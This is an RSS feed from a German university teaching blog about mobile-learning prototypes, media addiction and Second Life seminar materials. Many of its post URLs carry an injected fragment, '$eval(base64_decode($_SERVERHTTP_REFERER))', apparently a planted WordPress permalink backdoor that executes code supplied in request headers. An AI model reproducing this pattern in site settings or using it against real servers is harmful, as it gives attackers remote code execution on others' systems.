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	<title>Teachlab</title>
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	<description>Veranstaltungsbegleitender Blog für und mit Studierenden</description>
	<lastBuildDate>Mon, 15 Jun 2009 08:28:25 +0000</lastBuildDate>
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		<title>Videos aus dem &#8220;Mobiles Lernen&#8221; Seminar</title>
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		<pubDate>Mon, 15 Jun 2009 08:28:25 +0000</pubDate>
		<dc:creator>Karsten D. Wolf</dc:creator>
				<category><![CDATA[Allgemein]]></category>

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		<description><![CDATA[Hier noch einige sch&#246;ne Entw&#252;rfe aus dem &#8220;Mobiles Lernen&#8221; Seminar an der Uni Bremen. Die Paper Prototypes habe ich zusammen mit Thomas Bernhardt getestet (deshalb teilweise Gespr&#228;che im Hintergrund). Soundscapes Meiner Meinung nach ein Muss f&#252;r eine Umsetzung auf dem iPhone! Soundscape from Thomas Bernhardt on Vimeo. Soma-K&#246;rper Hier eine Anwendung zur Arbeit mit Soma-K&#246;rpern [...]]]></description>
			<content:encoded><![CDATA[<p>Hier noch einige sch&#246;ne Entw&#252;rfe aus dem &#8220;Mobiles Lernen&#8221; Seminar an der Uni Bremen. Die Paper Prototypes habe ich zusammen mit Thomas Bernhardt getestet (deshalb teilweise Gespr&#228;che im Hintergrund).</p>
<h4>Soundscapes</h4>
<p>Meiner Meinung nach ein Muss f&#252;r eine Umsetzung auf dem iPhone! </p>
<p><object width="400" height="300"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=3297330&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" /><embed src="http://vimeo.com/moogaloop.swf?clip_id=3297330&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="400" height="300"></embed></object>
<p><a href="http://vimeo.com/3297330">Soundscape</a> from <a href="http://vimeo.com/user1260951">Thomas Bernhardt</a> on <a href="http://vimeo.com">Vimeo</a>.</p>
<h4>Soma-K&#246;rper</h4>
<p>Hier eine Anwendung zur Arbeit mit Soma-K&#246;rpern (siehe <a href="http://www.reitberger-berlin.de/geometrieuvz/geometrie07.htm">Link</a>). Auch ein iPhone/gPhone Kandidat.</p>
<p><object width="400" height="300"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=3297192&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" /><embed src="http://vimeo.com/moogaloop.swf?clip_id=3297192&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="400" height="300"></embed></object>
<p><a href="http://vimeo.com/3297192">Schauen und Bauen 2</a> from <a href="http://vimeo.com/user1260951">Thomas Bernhardt</a> on <a href="http://vimeo.com">Vimeo</a>.</p>
<h4>Mobile Homework Reminder</h4>
<p>Und hier nun mal etwas f&#252;r die Blackberry-Fans bzw. f&#252;r alle Smartphones auch mit nicht so riesigem Display. Sehr interessantes Konzept um die &#8220;mobile gadgets&#8221; der Lernenden in die Hausaufgaben einzubinden &#8211; nie wieder: &#8220;Ich weiss gar nicht, was wir aufhaben…&#8221;. Die <a href="http://q2l.org/">Quest2Learn</a> Schule viel ja sowas machen.</p>
<p><object width="400" height="300"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=3297057&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" /><embed src="http://vimeo.com/moogaloop.swf?clip_id=3297057&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="400" height="300"></embed></object>
<p><a href="http://vimeo.com/3297057">Mobile Homework Reminder</a> from <a href="http://vimeo.com/user1260951">Thomas Bernhardt</a> on <a href="http://vimeo.com">Vimeo</a>.</p>
<h4>Mobiler Ern&#228;hrungsplaner</h4>
<p>Wof&#252;r so Barcodes in Kombination mit einem Fotosmartphone alles gut sein k&#246;nnen &#8211; Hilfe bei der gesunden Ern&#228;hrung &#8211; mobiles Lernen &#8220;on the fly&#8221;.</p>
<p><object width="400" height="300"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=3237537&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" /><embed src="http://vimeo.com/moogaloop.swf?clip_id=3237537&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="400" height="300"></embed></object>
<p><a href="http://vimeo.com/3237537">Mobiler Ern&#228;herungsplaner</a> from <a href="http://vimeo.com/user1260951">Thomas Bernhardt</a> on <a href="http://vimeo.com">Vimeo</a>.</p>
<h4>Mobile Classroom Management</h4>
<p>Hier ein weiteres Paper Prototyp f&#252;r mobiles Classroom (und Homework) Management. Hier zeigt sich einiges an Potenzial zur Nutzung von Handys sinnvoll im Unterricht einzusetzen.</p>
<p><object width="400" height="300"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=3210879&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" /><embed src="http://vimeo.com/moogaloop.swf?clip_id=3210879&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="400" height="300"></embed></object>
<p><a href="http://vimeo.com/3210879">Mobile Classroom Management</a> from <a href="http://vimeo.com/user1260951">Thomas Bernhardt</a> on <a href="http://vimeo.com">Vimeo</a>.</p>
<h4>Grammar Plus</h4>
<p>Grammatik lernen beim SMS schreiben &#8211; sehr sch&#246;nes Beispiel f&#252;r die grunds&#228;tzliche Idee von mobilem Lernen auf SMS-Basis!</p>
<p><object width="400" height="300"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=3210176&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" /><embed src="http://vimeo.com/moogaloop.swf?clip_id=3210176&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="400" height="300"></embed></object>
<p><a href="http://vimeo.com/3210176">Grammar Plus</a> from <a href="http://vimeo.com/user1260951">Thomas Bernhardt</a> on <a href="http://vimeo.com">Vimeo</a>.</p>
<h4>Stadtrallye Berlin</h4>
<p>Sehr interessante Idee zum Thema &#8220;Klassenfahrt, aber mit Didaktik&#8221; &#8211; das &#8220;Mobile&#8221; des Interfaces bedarf noch einer weiteren Reduzierung auf die mobile Bedienungssituation.</p>
<p><object width="400" height="300"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=3106651&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" /><embed src="http://vimeo.com/moogaloop.swf?clip_id=3106651&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="400" height="300"></embed></object>
<p><a href="http://vimeo.com/3106651">Stadtrallye Berlin</a> from <a href="http://vimeo.com/user1260951">Thomas Bernhardt</a> on <a href="http://vimeo.com">Vimeo</a>.</p>
<h4>Virtuelle Sektionen am Frosch</h4>
<p>Hier nun mal ein Prototyp f&#252;r den Nintendo DS. Virtuelle Froschsektionen gab es ja nun schon einige f&#252;r den PC und hier finden sich nun einige Elemente von <a href="http://www.atlus.com/tcutk2/">Trauma Center</a>. </p>
<p><object width="400" height="300"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=3106423&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" /><embed src="http://vimeo.com/moogaloop.swf?clip_id=3106423&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="400" height="300"></embed></object>
<p><a href="http://vimeo.com/3106423">Virtuelle Sektionen</a> from <a href="http://vimeo.com/user1260951">Thomas Bernhardt</a> on <a href="http://vimeo.com">Vimeo</a>.</p>
<h4>Intelligenter Stift</h4>
<p>Ein recht kurzer Durchlauf eines interessanten Konzeptes: der Stift, der bei Fehlern blinkt! Sehr sch&#246;nes Weiterdenken &#252;ber Smartphones hinaus! Da steckt einiges im Konzept drin!</p>
<p><object width="400" height="300"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=3103887&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" /><embed src="http://vimeo.com/moogaloop.swf?clip_id=3103887&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="400" height="300"></embed></object>
<p><a href="http://vimeo.com/3103887">Intelligenter Stift</a> from <a href="http://vimeo.com/user1260951">Thomas Bernhardt</a> on <a href="http://vimeo.com">Vimeo</a>.</p>
<h4>Mobile Rhytmus Lerner</h4>
<p>Sch&#246;ner Entwurf im Sinne des Roland Drum Tutor Software (<a href="http://www.rolandus.com/products/productdetails.aspx?ObjectId=976">Link</a>, dort bitte auf Video klicken). Wie immer stecken die wahren Herausforderungen im Detail.</p>
<p><object width="400" height="300"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=3103737&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" /><embed src="http://vimeo.com/moogaloop.swf?clip_id=3103737&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="400" height="300"></embed></object>
<p><a href="http://vimeo.com/3103737">Mobile Rhytmus Lerner</a> from <a href="http://vimeo.com/user1260951">Thomas Bernhardt</a> on <a href="http://vimeo.com">Vimeo</a>.</p>
<h4>My vocabulary trainer</h4>
<p>Mobiler Vokabeltrainer mit interessantem Ansatz (ca. ab 8:42 min im Video), Themenb&#252;ndel f&#252;r W&#246;rter zu erstellen.</p>
<p><object width="400" height="300"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=3096165&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" /><embed src="http://vimeo.com/moogaloop.swf?clip_id=3096165&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="400" height="300"></embed></object>
<p><a href="http://vimeo.com/3096165">My vocabulary trainer</a> from <a href="http://vimeo.com/user1260951">Thomas Bernhardt</a> on <a href="http://vimeo.com">Vimeo</a>.</p>
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		<title>Neues Lern und Tutorial Videoportal (Mehrsprachig)</title>
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		<pubDate>Sat, 01 Mar 2008 20:13:01 +0000</pubDate>
		<dc:creator>simo279</dc:creator>
				<category><![CDATA[Allgemein]]></category>
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		<description><![CDATA[Ihr sucht eine optimale L&#246;sung f&#252;r ein Alltagsproblem?  Ihr braucht eine Gebrauchsanweisung oder ein Anleitungsvideo? Ihr seid selbst ein Profi auf einem bestimmten Gebiet und wollt andere daran teilhaben lassen? Dann seid Ihr bei mytutor-video.com richtig. Vom Krawatte binden &#252;ber Kochanleitung bis hin zu Snookerstrategien – mytutor-video.com bietet Tipps und Tricks in allen Bereichen. Es [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.mytutor-video.com/"><img src="http://www.mytutor-video.com/images/mytutorvideo_logo_2.jpg" alt="MyTutor Video" /></a></p>
<p>Ihr sucht eine optimale L&#246;sung f&#252;r ein Alltagsproblem?  Ihr braucht eine Gebrauchsanweisung oder ein Anleitungsvideo? Ihr seid selbst ein Profi auf einem bestimmten Gebiet und wollt andere daran teilhaben lassen? Dann seid Ihr bei mytutor-video.com richtig. Vom Krawatte binden &#252;ber Kochanleitung bis hin zu Snookerstrategien – mytutor-video.com bietet Tipps und Tricks in allen Bereichen. Es ist ein Videoportal mit Lernvideos f&#252;r alle Praktiker und die, die es noch werden wollen. Hier geht&#8217;s zu: www.mytutor-video.com. Eine tolle Seite, reinschauen lohnt sich!</p>
<p>Mytutor Video</p>
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		<title>Ablaufplan_Vielnutzung, Sucht, Verwahrlosung</title>
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		<pubDate>Sat, 26 Jan 2008 09:56:05 +0000</pubDate>
		<dc:creator>Patrick</dc:creator>
				<category><![CDATA[Allgemein]]></category>

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		<description><![CDATA[ablaufplan_vielnutzung-sucht-verwahrlosung_p-stumpe.doc  Irgendwie sehe ich nu meinen Beitag und nicht die Datei dazu!  Lade lieber nochmal hoch!]]></description>
			<content:encoded><![CDATA[<p><a rel="attachment wp-att-410" href="http://www.didactalab.de/teachlab/?attachment_id=410" title="ablaufplan_vielnutzung-sucht-verwahrlosung_p-stumpe.doc">ablaufplan_vielnutzung-sucht-verwahrlosung_p-stumpe.doc</a> </p>
<p>Irgendwie sehe ich nu meinen Beitag und nicht die Datei dazu!</p>
<p> Lade lieber nochmal hoch!</p>
]]></content:encoded>
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		</item>
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		<title>Selbsttest zur Internetnutzung / Sucht</title>
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		<pubDate>Sat, 26 Jan 2008 09:30:25 +0000</pubDate>
		<dc:creator>Patrick</dc:creator>
				<category><![CDATA[Allgemein]]></category>
		<category><![CDATA[Selbstest]]></category>

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		<description><![CDATA[selbsttest-zur-internetsucht.doc Anbei der Selbsttest. Da ich nicht anwesend sein kann, bitte so durchlesen, Zahlen notieren und auswerten. Im Anschluss gerne kurz diskutieren!]]></description>
			<content:encoded><![CDATA[<p><a rel="attachment wp-att-409" href="http://www.didactalab.de/teachlab/?attachment_id=409" title="selbsttest-zur-internetsucht.doc">selbsttest-zur-internetsucht.doc</a> Anbei der Selbsttest. Da ich nicht anwesend sein kann, bitte so durchlesen, Zahlen notieren und auswerten. Im Anschluss gerne kurz diskutieren! <img src='http://www.didactalab.de/teachlab/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
]]></content:encoded>
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		<item>
		<title>Aktualsierte Power Point-Version</title>
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		<pubDate>Sat, 26 Jan 2008 09:27:05 +0000</pubDate>
		<dc:creator>Patrick</dc:creator>
				<category><![CDATA[Allgemein]]></category>
		<category><![CDATA[Power Point]]></category>

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		<description><![CDATA[mediennutzung-und-verwahrlosung.ppt mediennutzung-und-verwahrlosung.ppt]]></description>
			<content:encoded><![CDATA[<p><a rel="attachment wp-att-412" href="http://www.didactalab.de/teachlab/?attachment_id=412" title="mediennutzung-und-verwahrlosung.ppt">mediennutzung-und-verwahrlosung.ppt</a></p>
<p><a rel="attachment wp-att-411" href="http://www.didactalab.de/teachlab/?attachment_id=411" title="mediennutzung-und-verwahrlosung.ppt">mediennutzung-und-verwahrlosung.ppt</a></p>
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		<title>Ablaufplan, Power Point aktualisiert, Selbsttest zur Internetsucht</title>
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		<pubDate>Sat, 26 Jan 2008 09:26:00 +0000</pubDate>
		<dc:creator>Patrick</dc:creator>
				<category><![CDATA[Allgemein]]></category>

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		<description><![CDATA[Hallo Leute, ich versuche es mal von Zuhause aus, da ich mit Magen- und Darmgrippe noch Zuhause bleiben sollte. Aktualisierte Power-Point und Ablaufplan lade ich hoch. Dem kann man eigentlich gut folgen. VIelleicht spielt ihr das ja einmal durch? Habe es so verst&#228;ndlich wie m&#246;gich gestaltet. Auch lade ich den Sebsttest zur Internetsucht mit hoch. [...]]]></description>
			<content:encoded><![CDATA[<p>Hallo Leute, ich versuche es mal von Zuhause aus, da ich mit Magen- und Darmgrippe noch Zuhause bleiben sollte.</p>
<p>Aktualisierte Power-Point und Ablaufplan lade ich hoch. Dem kann man eigentlich gut folgen. VIelleicht spielt ihr das ja einmal durch?</p>
<p>Habe es so verst&#228;ndlich wie m&#246;gich gestaltet.</p>
<p>Auch lade ich den Sebsttest zur Internetsucht mit hoch. W&#228;re mein Abschlusspunkt gewesen und l&#228;sst sich leicht ausf&#252;llen udn auswerten.</p>
<p>Ergebnisse k&#246;nnen im Anschluss diskutiert werden!</p>
<p>Somit f&#228;llt der Themenbock wenigstens nicht aus.</p>
<p>Link f&#252;r “World of Warcraft” mit Nutzerkennung findet ihr auch auf dem Ablaufplan.</p>
<p>Viel Spass!</p>
<p>Lg. Patrick</p>
]]></content:encoded>
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		</item>
		<item>
		<title>Blockveranstaltung &#8211; Ort und Zeit</title>
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		<comments>http://www.didactalab.de/teachlab/2008/01/25/blockveranstaltung-ort-und-zeit/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Fri, 25 Jan 2008 08:34:53 +0000</pubDate>
		<dc:creator>Karsten D. Wolf</dc:creator>
				<category><![CDATA[Organisatorisches]]></category>
		<category><![CDATA[wolf]]></category>

		<guid isPermaLink="false">http://www.didactalab.de/teachlab/?p=396</guid>
		<description><![CDATA[Liebe Seminarteilnehmer/innen, bin etwas grippal mitgenommen, aber wir haben schon mal einen Ort: 25.01. Freitag: 10-18 Uhr, FB 12 CIP-Labor A2320 26.01. Samstag: 10-16:30 Uhr, FB 12 Rechner-Raum A2370 F&#252;r den Samstag schauen wir, dass der Haupteingang oben am Boulevard offensteht.]]></description>
			<content:encoded><![CDATA[<p>Liebe Seminarteilnehmer/innen,<br />
bin etwas grippal mitgenommen, aber wir haben schon mal einen Ort:</p>
<p>25.01. Freitag: 10-18 Uhr, FB 12 CIP-Labor A2320<br />
26.01. Samstag: 10-16:30 Uhr, FB 12 Rechner-Raum A2370</p>
<p>F&#252;r den Samstag schauen wir, dass der Haupteingang oben am Boulevard offensteht.</p>
]]></content:encoded>
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		<title>Medienkompetenz &#8211; Bielefelder Modell</title>
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		<pubDate>Tue, 15 Jan 2008 14:17:13 +0000</pubDate>
		<dc:creator>annalenas</dc:creator>
				<category><![CDATA[Allgemein]]></category>

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		<description><![CDATA[Hi, sorry f&#252;r die Versp&#228;tung aber da ich kein Internet habe und bis eben krank im Bett lag (wo ich eigentlich auch noch bleiben sollte) ging es nicht fr&#252;her. Linksammlung und Verlaufsentwurf sind fertig, die Pr&#228;sentation folgt, sobald ich wieder klar denken kann. Viele Gr&#252;&#223;e Anna]]></description>
			<content:encoded><![CDATA[<p>Hi,</p>
<p>sorry f&#252;r die Versp&#228;tung aber da ich kein Internet habe und bis eben krank im Bett lag (wo ich eigentlich auch noch bleiben sollte) ging es nicht fr&#252;her. <a href="http://www.didactalab.de/teachlab/wp-content/uploads/2008/01/linksammlung-und-verlaufsentwurf.doc" title="Linksammlung und Verlaufsentwurf">Linksammlung und Verlaufsentwurf</a> sind fertig, die Pr&#228;sentation folgt, sobald ich wieder klar denken kann.</p>
<p>Viele Gr&#252;&#223;e</p>
<p>Anna</p>
]]></content:encoded>
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		</item>
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		<title>Vielnutzung, Sucht, Verwahrlosung &#8211; ein echtes Problem?</title>
		<link>http://www.didactalab.de/teachlab/2008/01/15/vielnutzung-sucht-verwahrlosung-ein-echtes-problem/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
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		<pubDate>Tue, 15 Jan 2008 00:45:07 +0000</pubDate>
		<dc:creator>Patrick</dc:creator>
				<category><![CDATA[Allgemein]]></category>

		<guid isPermaLink="false">http://www.didactalab.de/teachlab/?p=392</guid>
		<description><![CDATA[mediennutzung-und-verwahrlosung.ppt  Nach diversen technischen Komplikationen, die ich hier nicht n&#228;her ausf&#252;hren m&#246;chte, kommt dann doch meine mit defekter Maus erstellte Power-Point Pr&#228;sentation! Hat Jemand das Spiel &#8220;World of Warcraft&#8221; in seine Sitzungsgestaltung mit eingebaut? Dann bitte mit mir in Verbindung setzen! Kann es auch rausnehmen oder nur grob anrei&#223;en! F&#252;r Kritik oder Anregungen bin ich [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.didactalab.de/teachlab/wp-content/uploads/2008/01/mediennutzung-und-verwahrlosung.ppt" title="mediennutzung-und-verwahrlosung.ppt">mediennutzung-und-verwahrlosung.ppt</a></p>
<p> Nach diversen technischen Komplikationen, die ich hier nicht n&#228;her ausf&#252;hren m&#246;chte, kommt dann doch meine mit defekter Maus erstellte Power-Point Pr&#228;sentation! Hat Jemand das Spiel &#8220;World of Warcraft&#8221; in seine Sitzungsgestaltung mit eingebaut? Dann bitte mit mir in Verbindung setzen! Kann es auch rausnehmen oder nur grob anrei&#223;en!</p>
<p>F&#252;r Kritik oder Anregungen bin ich gerne zu haben! Linkliste, etc. wird noch folgen!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.didactalab.de/teachlab/2008/01/15/vielnutzung-sucht-verwahrlosung-ein-echtes-problem/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
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		</item>
		<item>
		<title>Medienerziehung</title>
		<link>http://www.didactalab.de/teachlab/2008/01/13/medienerziehung/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
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		<pubDate>Sun, 13 Jan 2008 12:20:46 +0000</pubDate>
		<dc:creator>Jan</dc:creator>
				<category><![CDATA[Allgemein]]></category>
		<category><![CDATA[Medienerziehung]]></category>

		<guid isPermaLink="false">http://www.didactalab.de/teachlab/?p=384</guid>
		<description><![CDATA[Sch&#246;nen Sonntag w&#252;nsch ich. Bedauerlicher Weise sind auch ein Jahr nach dessen erscheinen, weder WordPress noch slidesahre.net in der Lage mit Office 2007 Dokumenten zu arbeiten. Daher hab ich es in eine alte Version umgewandelt, ich hoffe es fehlt nichts. klassische-medienerziehung.pptklassische-medienerziehung.ppt Mein Ablaufplan: 1. Pr&#228;sentation mit integrierter Disskussion 2. Beispielsituationen f&#252;r Medienkompetenzen am PC]]></description>
			<content:encoded><![CDATA[<p>Sch&#246;nen Sonntag w&#252;nsch ich.</p>
<p>Bedauerlicher Weise sind auch ein Jahr nach dessen erscheinen, weder WordPress noch slidesahre.net in der Lage mit Office 2007 Dokumenten zu arbeiten. Daher hab ich es in eine alte Version umgewandelt, ich hoffe es fehlt nichts.</p>
<p><a href="http://www.didactalab.de/teachlab/wp-content/uploads/2008/01/klassische-medienerziehung.ppt" title="klassische-medienerziehung.ppt">klassische-medienerziehung.ppt</a><a href="http://www.didactalab.de/teachlab/wp-content/uploads/2008/01/klassische-medienerziehung.ppt" title="klassische-medienerziehung.ppt">klassische-medienerziehung.ppt</a></p>
<p>Mein Ablaufplan:</p>
<p>1. Pr&#228;sentation mit integrierter Disskussion</p>
<p>2. Beispielsituationen f&#252;r Medienkompetenzen am PC</p>
]]></content:encoded>
			<wfw:commentRss>http://www.didactalab.de/teachlab/2008/01/13/medienerziehung/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
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		</item>
		<item>
		<title>Second Life Pr&#228;sentation</title>
		<link>http://www.didactalab.de/teachlab/2008/01/12/second-life-praesentation/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
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		<pubDate>Sat, 12 Jan 2008 16:24:06 +0000</pubDate>
		<dc:creator>Johanna Adamczak</dc:creator>
				<category><![CDATA[Allgemein]]></category>

		<guid isPermaLink="false">http://www.didactalab.de/teachlab/?p=383</guid>
		<description><![CDATA[Powerpoint]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.didactalab.de/teachlab/?attachment_id=382" rel="attachment wp-att-382" title="Powerpoint">Powerpoint</a></p>
]]></content:encoded>
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		</item>
		<item>
		<title>Second Life &#8211; Linksammlung</title>
		<link>http://www.didactalab.de/teachlab/2008/01/12/second-life-linksammlung/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://www.didactalab.de/teachlab/2008/01/12/second-life-linksammlung/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Sat, 12 Jan 2008 10:48:50 +0000</pubDate>
		<dc:creator>Johanna Adamczak</dc:creator>
				<category><![CDATA[Allgemein]]></category>

		<guid isPermaLink="false">http://www.didactalab.de/teachlab/?p=379</guid>
		<description><![CDATA[Link- und Materialsammlung zu „Second Life“ Second Life: Das Buch zum zweiten Leben; Olivia Adler und Olliver Gassner; K&#246;ln 2007 www.secondlife.com www.lindenlab.com www.wikipedia.org/wiki/second-life www.news.google.de/news?q=second+life&#38;ie]]></description>
			<content:encoded><![CDATA[<p><strong><u>Link- und Materialsammlung zu „Second Life“</u></strong></p>
<p>Second Life: Das Buch zum zweiten Leben; Olivia Adler und Olliver Gassner; K&#246;ln 2007</p>
<p>www.secondlife.com</p>
<p>www.lindenlab.com</p>
<p>www.wikipedia.org/wiki/second-life</p>
<p>www.news.google.de/news?q=second+life&amp;ie</p>
]]></content:encoded>
			<wfw:commentRss>http://www.didactalab.de/teachlab/2008/01/12/second-life-linksammlung/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
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		</item>
		<item>
		<title>Second Life &#8211; Verlaufsentwurf</title>
		<link>http://www.didactalab.de/teachlab/2008/01/12/second-life-verlaufsentwurf/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://www.didactalab.de/teachlab/2008/01/12/second-life-verlaufsentwurf/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Sat, 12 Jan 2008 10:44:04 +0000</pubDate>
		<dc:creator>Johanna Adamczak</dc:creator>
				<category><![CDATA[Allgemein]]></category>

		<guid isPermaLink="false">http://www.didactalab.de/teachlab/?p=378</guid>
		<description><![CDATA[Verlaufsentwurf 1. Powerpoint-Pr&#228;sentation (15-20 Minuten) 2. Erstellung eines eigenen Avatars in Second Life und erste Versuche der Benutzung eines „Clients“ (ca. 60 Minuten) 3. Bearbeitung eines Aufgabenblattes mit Fragen zu Second Life (10 bis 15 Minuten)]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.didactalab.de/teachlab/?attachment_id=377" rel="attachment wp-att-377" title="Verlaufsentwurf">  </a></p>
<p><strong><u>Verlaufsentwurf</u></strong></p>
<p>1. Powerpoint-Pr&#228;sentation (15-20 Minuten)</p>
<p>2. Erstellung eines eigenen Avatars in Second Life und erste</p>
<p>Versuche der Benutzung eines „Clients“ (ca. 60 Minuten)</p>
<p>3. Bearbeitung eines Aufgabenblattes mit Fragen zu Second</p>
<p>Life (10 bis 15 Minuten)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.didactalab.de/teachlab/2008/01/12/second-life-verlaufsentwurf/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
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		</item>
		<item>
		<title>Infos zur Blockveranstaltung</title>
		<link>http://www.didactalab.de/teachlab/2007/12/12/infos-zur-blockveranstaltung/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://www.didactalab.de/teachlab/2007/12/12/infos-zur-blockveranstaltung/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Wed, 12 Dec 2007 10:37:41 +0000</pubDate>
		<dc:creator>Karsten D. Wolf</dc:creator>
				<category><![CDATA[Allgemein]]></category>

		<guid isPermaLink="false">http://www.didactalab.de/teachlab/?p=367</guid>
		<description><![CDATA[Hier nun die Informationen, die wir am 12. Dezember besprechen: Mediennutzung und -verwahrlosung als medienp&#228;dagogische Forschungs- und Handlungsfelder 25.-26. Januar Freitag: 10-18 Uhr Samstag: 10-16:30 Uhr Vorbesprechungstermin: 12. Dezember Mittwoch: 15-17 Uhr Raum 4194 im MZH Achtung: bereits vergebene Themen sind kursiv markiert. Themen im Block &#8211; Freitag vormittags Thema A Vielnutzung/Sucht/Verwahrlosung &#8211; ein echtes [...]]]></description>
			<content:encoded><![CDATA[<p>Hier nun die Informationen, die wir am 12. Dezember besprechen:<br />
Mediennutzung und -verwahrlosung als medienp&#228;dagogische Forschungs- und Handlungsfelder<br />
25.-26. Januar<br />
Freitag: 10-18 Uhr<br />
Samstag: 10-16:30 Uhr</p>
<p>Vorbesprechungstermin:<br />
12. Dezember<br />
Mittwoch: 15-17 Uhr<br />
Raum 4194 im MZH</p>
<p><strong>Achtung:</strong> bereits vergebene Themen sind <em>kursiv</em> markiert.</p>
<p>Themen im Block &#8211; Freitag vormittags<br />
